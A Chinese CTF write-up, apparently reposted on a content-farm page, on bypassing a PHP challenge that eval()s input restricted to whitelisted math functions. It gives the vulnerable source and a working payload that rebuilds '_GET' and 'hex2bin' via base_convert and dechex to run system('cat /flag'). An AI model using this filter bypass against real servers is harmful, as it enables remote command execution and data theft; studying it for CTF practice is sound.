当前位置: 首页 > news >正文

石家庄建设公司网站前端seo是什么

石家庄建设公司网站,前端seo是什么,sem和seo是什么意思,做网站搞个物理服务器这题主要利用了php的一些特性 变量函数数字转字符串 源码 <?php error_reporting(0); //听说你很喜欢数学&#xff0c;不知道你是否爱它胜过爱flag if(!isset($_GET[c])){show_source(__FILE__); }else{//例子 c20-1$content $_GET[c];if (strlen($content) > 80) {…

这题主要利用了php的一些特性

  • 变量函数
  • 数字转字符串

源码

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 80) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');
}

该php的功能是数值计算,数值计算可以使用指定的php数学函数,数学函数由 http://www.w3school.com.cn/php/php_ref_math.asp这个链接的函数来指定

该题采用了黑名单和白名单的方式来过滤

思路

这里采用可变字符来执行函数

$_GET['a']($_GET['b'])

但是_GET会被白名单检测,这里需要绕过白名单
这里将 _GET16进制编码 得到5f474554
这样我们就可以通过 hex2bin"5f474554"转换为_GET

# dechex(1598506324) -> 5f474554
hex2bin(dechex(1598506324))

同样,hex2bin并不在白名单中,但是白名单中有一个函数可以利用,就是 base_convert

base_convert

base_convert(string $num, int $from_base, int $to_base): string

接收一个字符串数字,并且指定进制转换,from_baseto_base都只能在 2 和 36 之间(包括 2 和 36),高于十进制的数字用字母 a-z 表示
什么意思呢?
这里举个例子

echo base_convert('a37334', 16, 2);

这里16指示 a37334是一串16进制字符串,要转换为2进制
base_convert最高可以支持36进制,什么意思呢

10 -> a
11 -> b
12 -> c
...
17 -> h

一直到z
也就是说我们只需要在10进制转换成36进制得出hex2bin即可

base_convert('hex2bin',36,10);
base_convert(37907361743,10,36);

执行$_GET

$pi=base_convert(37907361743,10,36)(dechex(1598506324))  # _GET

$$g 代表 $_GET
由于 []被黑名单禁用,所以这里使用 {} 取键来执行(版本 < php8)

payload

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{0}($$pi{1})&0=system&1=cat /flag
http://www.tj-hxxt.cn/news/116855.html

相关文章:

  • 宿州网站建设多少钱b2b外链代发
  • 在国外做电商网站有哪些网站排名怎么搜索靠前
  • 班级网站开发b2b
  • 2022织梦cms侵权开庭东莞网络优化哪家好
  • 腾龙时时彩做号软件官方网站十大经典案例
  • 网站开发计划书模板产品50个关键词
  • 宁波个人做网站营销宝
  • ipad怎么制作网站求几个微信推广平台
  • 深圳网站建设ppchsj百度提问在线回答问题
  • wordpress隐藏菜单网站推广及seo方案
  • jsp mysql开发网站开发重庆seo外包平台
  • 雄安建设网站制作如何快速推广一个app
  • 网站建设H5 源码新榜数据平台
  • 手机网站集成支付宝友情链接检测的特点
  • 广西建设厅办事大厅网站企业推广托管
  • 网站设计网站开发网站接广告平台
  • 服装 营销型网站案例俄罗斯搜索引擎yandex推广入口
  • 简单做网站需要学什么南京百度seo代理
  • 餐饮官网建站模板网店
  • 全flash网站制作教程网络营销是什么?
  • 哪里可以制作网站google推广服务商
  • 邢台人才网官网首页湖北seo整站优化
  • 现在做个网站要多少钱网站如何优化一个关键词
  • 一个人注册公司需要什么条件厦门seo收费
  • php笑话网站源码网站设计公司建设网站
  • 做网站不优化网站建设的技术支持
  • 不花钱自己可以做网站吗店面怎么做位置定位
  • 杭州公司外贸网站设计网页设计首页
  • 网站怎么优化排名他达那非片能延时多久
  • 个人网站不备案做经营性质网站百度账号登录入口网页版